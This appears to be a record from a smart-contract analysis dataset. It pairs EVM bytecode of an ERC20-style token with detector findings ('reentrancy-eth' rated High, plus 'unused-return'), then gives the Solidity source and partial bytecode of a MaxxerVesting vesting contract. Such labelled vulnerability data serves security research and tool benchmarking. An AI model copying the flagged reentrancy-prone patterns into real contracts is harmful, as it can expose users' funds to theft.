3ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612e3e565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612eb4565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506112426103e8611234601468056bc75e2d63100000611ccd90919063ffffffff16565b611d4790919063ffffffff16565b600f819055506112796103e861126b601e68056bc75e2d63100000611ccd90919063ffffffff16565b611d4790919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611339929190612f07565b6020604051808303816000875af1158015611358573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137c9190612f45565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361147e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147590612fe4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e490613076565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115cb91906128bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611647576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163e90613108565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ad9061319a565b60405180910390fd5b600081116116f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f09061322c565b60405180910390fd5b6000600a81905550600a600b81905550611711610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561177f575061174f610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118285750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61183157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118dc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119325750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561194a5750600e60179054906101000a900460ff165b15611a8857600f54811115611994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198b90613298565b60405180910390fd5b601054816119a1846109dd565b6119ab91906132b8565b11156119ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e39061335a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3757600080fd5b601e42611a4491906132b8565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b335750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b895750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b9f576000600a81905550600a600b819055505b6000611baa306109dd565b9050600e60159054906101000a900460ff16158015611c175750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c2f5750600e60169054906101000a900460ff165b15611c5757611c3d81611e6b565b60004790506000811115611c5557611c5447611d91565b5b505b505b611c648383836120e4565b505050565b6000838311158290611cb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca8919061276e565b60405180910390fd5b5060008385611cc0919061337a565b9050809150509392505050565b6000808303611cdf5760009050611d41565b60008284611ced91906133ae565b9050828482611cfc9190613437565b14611d3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d33906134da565b60405180910390fd5b809150505b92915050565b6000611d8983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611df9573d6000803e3d6000fd5b5050565b6000600854821115611e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3b9061356c565b60405180910390fd5b6000611e4e612157565b9050611e638184611d4790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ea357611ea26128dd565b5b604051908082528060200260200182016040528015611ed15781602001602082028036833780820191505090505b5090503081600081518110611ee957611ee8612c7c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb49190612da3565b81600181518110611fc857611fc7612c7c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461140f565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161209395949392919061364a565b600060405180830381600087803b1580156120ad57600080fd5b505af11580156120c1573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120ef838383612182565b505050565b6000808311829061213b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612132919061276e565b60405180910390fd5b506000838561214a9190613437565b9050809150509392505050565b600080600061216461234d565b9150915061217b8183611d4790919063ffffffff16565b9250505090565b600080600080600080612194876123af565b9550955095509550955095506121f286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d3816124bf565b6122dd848361257c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233a91906128bd565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d63100000905061238368056bc75e2d63100000600854611d4790919063ffffffff16565b8210156123a25760085468056bc75e2d631000009350935050506123ab565b81819350935050505b9091565b60008060008060008060008060006123cc8a600a54600b546125b6565b92509250925060006123dc612157565b905060008060006123ef8e87878761264c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061245983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c69565b905092915050565b600080828461247091906132b8565b9050838110156124b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ac906136f0565b60405180910390fd5b8091505092915050565b60006124c9612157565b905060006124e08284611ccd90919063ffffffff16565b905061253481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125918260085461241790919063ffffffff16565b6008819055506125ac8160095461246190919063ffffffff16565b6009819055505050565b6000806000806125e260646125d4888a611ccd90919063ffffffff16565b611d4790919063ffffffff16565b9050600061260c60646125fe888b611ccd90919063ffffffff16565b611d4790919063ffffffff16565b9050600061263582612627858c61241790919063ffffffff16565b61241790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126658589611ccd90919063ffffffff16565b9050600061267c8689611ccd90919063ffffffff16565b905060006126938789611ccd90919063ffffffff16565b905060006126bc826126ae858761241790919063ffffffff16565b61241790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561270f5780820151818401526020810190506126f4565b8381111561271e576000848401525b50505050565b6000601f19601f8301169050919050565b6000612740826126d5565b61274a81856126e0565b935061275a8185602086016126f1565b61276381612724565b840191505092915050565b600060208201905081810360008301526127888184612735565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127cf826127a4565b9050919050565b6127df816127c4565b81146127ea57600080fd5b50565b6000813590506127fc816127d6565b92915050565b6000819050919050565b61281581612802565b811461282057600080fd5b50565b6000813590506128328161280c565b92915050565b6000806040838503121561284f5761284e61279a565b5b600061285d858286016127ed565b925050602061286e85828601612823565b9150509250929050565b60008115159050919050565b61288d81612878565b82525050565b60006020820190506128a86000830184612884565b92915050565b6128b781612802565b82525050565b60006020820190506128d260008301846128ae565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61291582612724565b810181811067ffffffffffffffff82111715612934576129336128dd565b5b80604052505050565b6000612947612790565b9050612953828261290c565b919050565b600067ffffffffffffffff821115612973576129726128dd565b5b602082029050602081019050919050565b600080fd5b600061299c61299784612958565b61293d565b905080838252602082019050602084028301858111156129bf576129be612984565b5b835b818110156129e857806129d488826127ed565b8452602084019350506020810190506129c1565b5050509392505050565b600082601f830112612a0757612a066128d8565b5b8135612a17848260208601612989565b91505092915050565b600060208284031215612a3657612a3561279a565b5b600082013567ffffffffffffffff811115612a5457612a5361279f565b5b612a60848285016129f2565b91505092915050565b600080600060608486031215612a8257612a8161279a565b5b6000612a90868287016127ed565b9350506020612aa1868287016127ed565b9250506040612ab286828701612823565b9150509250925092565b600060208284031215612ad257612ad161279a565b5b6000612ae0848285016127ed565b91505092915050565b600060ff82169050919050565b612aff81612ae9565b82525050565b6000602082019050612b1a6000830184612af6565b92915050565b612b2981612878565b8114612b3457600080fd5b50565b600081359050612b4681612b20565b92915050565b600060208284031215612b6257612b6161279a565b5b6000612b7084828501612b37565b91505092915050565b600060208284031215612b8f57612b8e61279a565b5b6000612b9d84828501612823565b91505092915050565b612baf816127c4565b82525050565b6000602082019050612bca6000830184612ba6565b92915050565b60008060408385031215612be757612be661279a565b5b6000612bf5858286016127ed565b9250506020612c06858286016127ed565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c466020836126e0565b9150612c5182612c10565b602082019050919050565b60006020820190508181036000830152612c7581612c39565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612ce582612802565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d1757612d16612cab565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d586017836126e0565b9150612d6382612d22565b602082019050919050565b60006020820190508181036000830152612d8781612d4b565b9050919050565b600081519050612d9d816127d6565b92915050565b600060208284031215612db957612db861279a565b5b6000612dc784828501612d8e565b91505092915050565b6000604082019050612de56000830185612ba6565b612df26020830184612ba6565b9392505050565b6000819050919050565b6000819050919050565b6000612e28612e23612e1e84612df9565b612e03565b612802565b9050919050565b612e3881612e0d565b82525050565b600060c082019050612e536000830189612ba6565b612e6060208301886128ae565b612e6d6040830187612e2f565b612e7a6060830186612e2f565b612e876080830185612ba6565b612e9460a08301846128ae565b979650505050505050565b600081519050612eae8161280c565b92915050565b600080600060608486031215612ecd57612ecc61279a565b5b6000612edb86828701612e9f565b9350506020612eec86828701612e9f565b9250506040612efd86828701612e9f565b9150509250925092565b6000604082019050612f1c6000830185612ba6565b612f2960208301846128ae565b9392505050565b600081519050612f3f81612b20565b92915050565b600060208284031215612f5b57612f5a61279a565b5b6000612f6984828501612f30565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fce6024836126e0565b9150612fd982612f72565b604082019050919050565b60006020820190508181036000830152612ffd81612fc1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130606022836126e0565b915061306b82613004565b604082019050919050565b6000602082019050818103600083015261308f81613053565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130f26025836126e0565b91506130fd82613096565b604082019050919050565b60006020820190508181036000830152613121816130e5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131846023836126e0565b915061318f82613128565b604082019050919050565b600060208201905081810360008301526131b381613177565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132166029836126e0565b9150613221826131ba565b604082019050919050565b6000602082019050818103600083015261324581613209565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006132826019836126e0565b915061328d8261324c565b602082019050919050565b600060208201905081810360008301526132b181613275565b9050919050565b60006132c382612802565b91506132ce83612802565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561330357613302612cab565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613344601a836126e0565b915061334f8261330e565b602082019050919050565b6000602082019050818103600083015261337381613337565b9050919050565b600061338582612802565b915061339083612802565b9250828210156133a3576133a2612cab565b5b828203905092915050565b60006133b982612802565b91506133c483612802565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133fd576133fc612cab565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061344282612802565b915061344d83612802565b92508261345d5761345c613408565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134c46021836126e0565b91506134cf82613468565b604082019050919050565b600060208201905081810360008301526134f3816134b7565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613556602a836126e0565b9150613561826134fa565b604082019050919050565b6000602082019050818103600083015261358581613549565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135c1816127c4565b82525050565b60006135d383836135b8565b60208301905092915050565b6000602082019050919050565b60006135f78261358c565b6136018185613597565b935061360c836135a8565b8060005b8381101561363d57815161362488826135c7565b975061362f836135df565b925050600181019050613610565b5085935050505092915050565b600060a08201905061365f60008301886128ae565b61366c6020830187612e2f565b818103604083015261367e81866135ec565b905061368d6060830185612ba6565b61369a60808301846128ae565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006136da601b836126e0565b91506136e5826136a4565b602082019050919050565b60006020820190508181036000830152613709816136cd565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220abe4c0ef90f5c703d9b263e94a192494da4290b501bef6ba793e9b4c8daff35e64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,735 |
0x7df92d4d5a9c19022fa6e41acdb12fe3d2b168e0
|
/**
*Submitted for verification at Etherscan.io on 2022-05-04
*/
pragma solidity ^0.5.3;
/**
* @title ERC223Interface
* @dev ERC223 Contract Interface
*/
contract ERC223Interface {
function balanceOf(address who)public view returns (uint);
function transfer(address to, uint value)public returns (bool success);
function transfer(address to, uint value, bytes memory data)public returns (bool success);
event Transfer(address indexed from, address indexed to, uint value);
}
/// @title Interface for the contract that will work with ERC223 tokens.
interface ERC223ReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction data.
*/
function tokenFallback(address _from, uint _value, bytes calldata _data) external;
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
function _msgSender() internal view returns (address) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() public {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract MaxxerVesting is ERC223ReceivingContract,Ownable {
using SafeMath for uint256;
/**
* Address of MaxxerToken smart contract.
*/
address public maxxerToken;
/**
* Founder receiving wallet address.
*/
address public FOUNDERS_ADDRESS;
/**
* Advisors receiving wallet address.
*/
address public ADVISORS_ADDRESS;
/**
* Team receiving wallet address.
*/
address public TEAM_ADDRESS;
/**
* Total Amount of tokens for Founders.
*/
uint256 constant public FOUNDERS_TOTAL_TOKEN = 270000000 * 10**18;
/**
* Total Amount of tokens for Advisors.
*/
uint256 constant public ADVISORS_TOTAL_TOKEN = 36000000 * 10**18;
/**
* Total Amount of tokens for Team.
*/
uint256 constant public TEAM_TOTAL_TOKEN = 54000000 * 10**18;
/**
* Amount of tokens already sent to Founder receiving wallet.
*/
uint256 public FOUNDERS_TOKEN_SENT;
/**
* Amount of tokens already sent to Advisors receiving wallet.
*/
uint256 public ADVISORS_TOKEN_SENT;
/**
* Amount of tokens already sent to Team receiving wallet.
*/
uint256 public TEAM_TOKEN_SENT;
/**
* Starting timestamp of the first stage of vesting (Wednesday, July 31, 2022 0:00:00 AM).
* Will be used as a starting point for all dates calculations.
*/
uint256 public VESTING_START_TIMESTAMP;
/**
* Tokens vesting stage structure with vesting date and tokens allowed to unlock.
*/
struct VestingStage {
uint256 date;
uint256 foundersTokensUnlocked;
uint256 advisorsTokensUnlocked;
uint256 teamTokensUnlocked;
}
/**
* Array for storing all vesting stages with structure defined above.
*/
VestingStage[36] public stages;
event Withdraw(address _to, uint256 _value);
constructor (address _maxxerToken,uint256 _vestingStartTimestamp, address _foundersAddress,address _advisorsAddress,address _teamAddress) public {
maxxerToken = _maxxerToken;
VESTING_START_TIMESTAMP=_vestingStartTimestamp;
FOUNDERS_ADDRESS=_foundersAddress;
ADVISORS_ADDRESS=_advisorsAddress;
TEAM_ADDRESS=_teamAddress;
initVestingStages();
}
/**
* Setup array with vesting stages dates and token amounts.
*/
function initVestingStages () internal {
uint256 month = 30 days;
stages[0].date = VESTING_START_TIMESTAMP;
stages[0].foundersTokensUnlocked = 67500010 * 10**18;
stages[0].advisorsTokensUnlocked = 9000020 * 10**18;
stages[0].teamTokensUnlocked = 13500030 * 10**18;
for (uint8 i = 1; i < 36; i++) {
stages[i].date = stages[i-1].date + month;
stages[i].foundersTokensUnlocked = stages[i-1].foundersTokensUnlocked.add(5785714 * 10**18);
stages[i].advisorsTokensUnlocked = stages[i-1].advisorsTokensUnlocked.add(771428 * 10**18);
stages[i].teamTokensUnlocked = stages[i-1].teamTokensUnlocked.add(1157142 * 10**18);
}
}
function tokenFallback(address, uint _value, bytes calldata) external {
require(msg.sender == maxxerToken);
uint256 TOTAL_TOKENS = FOUNDERS_TOTAL_TOKEN.add(ADVISORS_TOTAL_TOKEN).add(TEAM_TOTAL_TOKEN);
require(_value == TOTAL_TOKENS);
}
/**
* Method for Founders withdraw tokens from vesting.
*/
function withdrawFoundersToken () external onlyOwner {
uint256 tokensToSend = getAvailableTokensOfFounders();
require(tokensToSend > 0,"Vesting: No withdrawable tokens available.");
sendTokens(FOUNDERS_ADDRESS,tokensToSend);
}
/**
* Method for Advisors withdraw tokens from vesting.
*/
function withdrawAdvisorsToken () external onlyOwner {
uint256 tokensToSend = getAvailableTokensOfAdvisors();
require(tokensToSend > 0,"Vesting: No withdrawable tokens available.");
sendTokens(ADVISORS_ADDRESS,tokensToSend);
}
/**
* Method for Team withdraw tokens from vesting.
*/
function withdrawTeamToken () external onlyOwner {
uint256 tokensToSend = getAvailableTokensOfTeam();
require(tokensToSend > 0,"Vesting: No withdrawable tokens available.");
sendTokens(TEAM_ADDRESS,tokensToSend);
}
/**
* Calculate tokens amount that is sent to Founder wallet Address.
*
* @return Amount of tokens that can be sent.
*/
function getAvailableTokensOfFounders () public view returns (uint256 tokensToSend) {
uint256 tokensUnlocked = getTokensUnlocked(FOUNDERS_ADDRESS);
tokensToSend = getTokensAmountAllowedToWithdraw(FOUNDERS_ADDRESS,tokensUnlocked);
}
/**
* Calculate tokens amount that is sent to Advisor wallet Address.
*
* @return Amount of tokens that can be sent.
*/
function getAvailableTokensOfAdvisors () public view returns (uint256 tokensToSend) {
uint256 tokensUnlocked = getTokensUnlocked(ADVISORS_ADDRESS);
tokensToSend = getTokensAmountAllowedToWithdraw(ADVISORS_ADDRESS,tokensUnlocked);
}
/**
* Calculate tokens amount that is sent to Team wallet Address.
*
* @return Amount of tokens that can be sent.
*/
function getAvailableTokensOfTeam () public view returns (uint256 tokensToSend) {
uint256 tokensUnlocked = getTokensUnlocked(TEAM_ADDRESS);
tokensToSend = getTokensAmountAllowedToWithdraw(TEAM_ADDRESS,tokensUnlocked);
}
/**
* Get tokens unlocked on current stage.
*
* @return Tokens allowed to be sent.
*/
function getTokensUnlocked (address role) private view returns (uint256) {
uint256 allowedTokens;
for (uint8 i = 0; i < stages.length; i++) {
if (now >= stages[i].date) {
if(role == FOUNDERS_ADDRESS){
allowedTokens = stages[i].foundersTokensUnlocked;
} else if(role == ADVISORS_ADDRESS){
allowedTokens = stages[i].advisorsTokensUnlocked;
} else if(role == TEAM_ADDRESS){
allowedTokens = stages[i].teamTokensUnlocked;
}
}
}
return allowedTokens;
}
/**
* Calculate tokens available for withdrawal.
*
* @param role Role address for which you want the amount of tokens.
*
* @param tokensUnlocked Percent of tokens that are allowed to be sent.
*
* @return Amount of tokens that can be sent according to provided role and tokensUnlocked.
*/
function getTokensAmountAllowedToWithdraw (address role,uint256 tokensUnlocked) private view returns (uint256) {
uint256 unsentTokensAmount;
if(role == FOUNDERS_ADDRESS){
unsentTokensAmount = tokensUnlocked.sub(FOUNDERS_TOKEN_SENT);
} else if(role == ADVISORS_ADDRESS){
unsentTokensAmount = tokensUnlocked.sub(ADVISORS_TOKEN_SENT);
} else if(role == TEAM_ADDRESS){
unsentTokensAmount = tokensUnlocked.sub(TEAM_TOKEN_SENT);
}
return unsentTokensAmount;
}
/**
* Send tokens to given address.
*/
function sendTokens (address role,uint256 tokensToSend) private {
if (tokensToSend > 0) {
if(role == FOUNDERS_ADDRESS){
// Updating tokens sent counter
FOUNDERS_TOKEN_SENT = FOUNDERS_TOKEN_SENT.add(tokensToSend);
// Sending allowed tokens amount
ERC223Interface(maxxerToken).transfer(FOUNDERS_ADDRESS, tokensToSend);
emit Withdraw(FOUNDERS_ADDRESS,tokensToSend);
} else if(role == ADVISORS_ADDRESS){
// Updating tokens sent counter
ADVISORS_TOKEN_SENT = ADVISORS_TOKEN_SENT.add(tokensToSend);
// Sending allowed tokens amount
ERC223Interface(maxxerToken).transfer(ADVISORS_ADDRESS, tokensToSend);
emit Withdraw(ADVISORS_ADDRESS,tokensToSend);
} else if(role == TEAM_ADDRESS){
// Updating tokens sent counter
TEAM_TOKEN_SENT = TEAM_TOKEN_SENT.add(tokensToSend);
// Sending allowed tokens amount
ERC223Interface(maxxerToken).transfer(TEAM_ADDRESS, tokensToSend);
emit Withdraw(TEAM_ADDRESS,tokensToSend);
}
}
}
}
|
0x608060405234801561001057600080fd5b506004361061015f576000357c010000000000000000000000000000000000000000000000000000000090048063715018a6116100d5578063c0ee0b8a11610099578063c0ee0b8a146103f1578063eff5eab114610494578063f16305821461049e578063f2fde38b146104bc578063f90961a914610500578063fc5edaa21461051e5761015f565b8063715018a61461030a578063845ddcb2146103145780638bb707611461036b5780638da5cb5b14610389578063ba175dfa146103d35761015f565b806317193c951161012757806317193c951461022a57806326ea16bb14610248578063351509a81461026657806340502b40146102b0578063693f0613146102ce5780636bb36ebb146102ec5761015f565b806306456088146101645780630e438ee5146101825780630f9bac2d1461018c57806310d48313146101d65780631158571b146101e0575b600080fd5b61016c610568565b6040518082815260200191505060405180910390f35b61018a6105ca565b005b610194610711565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101de610737565b005b6101e861087e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102326108a4565b6040518082815260200191505060405180910390f35b6102506108b3565b6040518082815260200191505060405180910390f35b61026e610915565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102b861093b565b6040518082815260200191505060405180910390f35b6102d6610941565b6040518082815260200191505060405180910390f35b6102f4610950565b6040518082815260200191505060405180910390f35b610312610956565b005b6103406004803603602081101561032a57600080fd5b8101908080359060200190929190505050610a13565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b610373610a48565b6040518082815260200191505060405180910390f35b610391610a4e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103db610a77565b6040518082815260200191505060405180910390f35b6104926004803603606081101561040757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401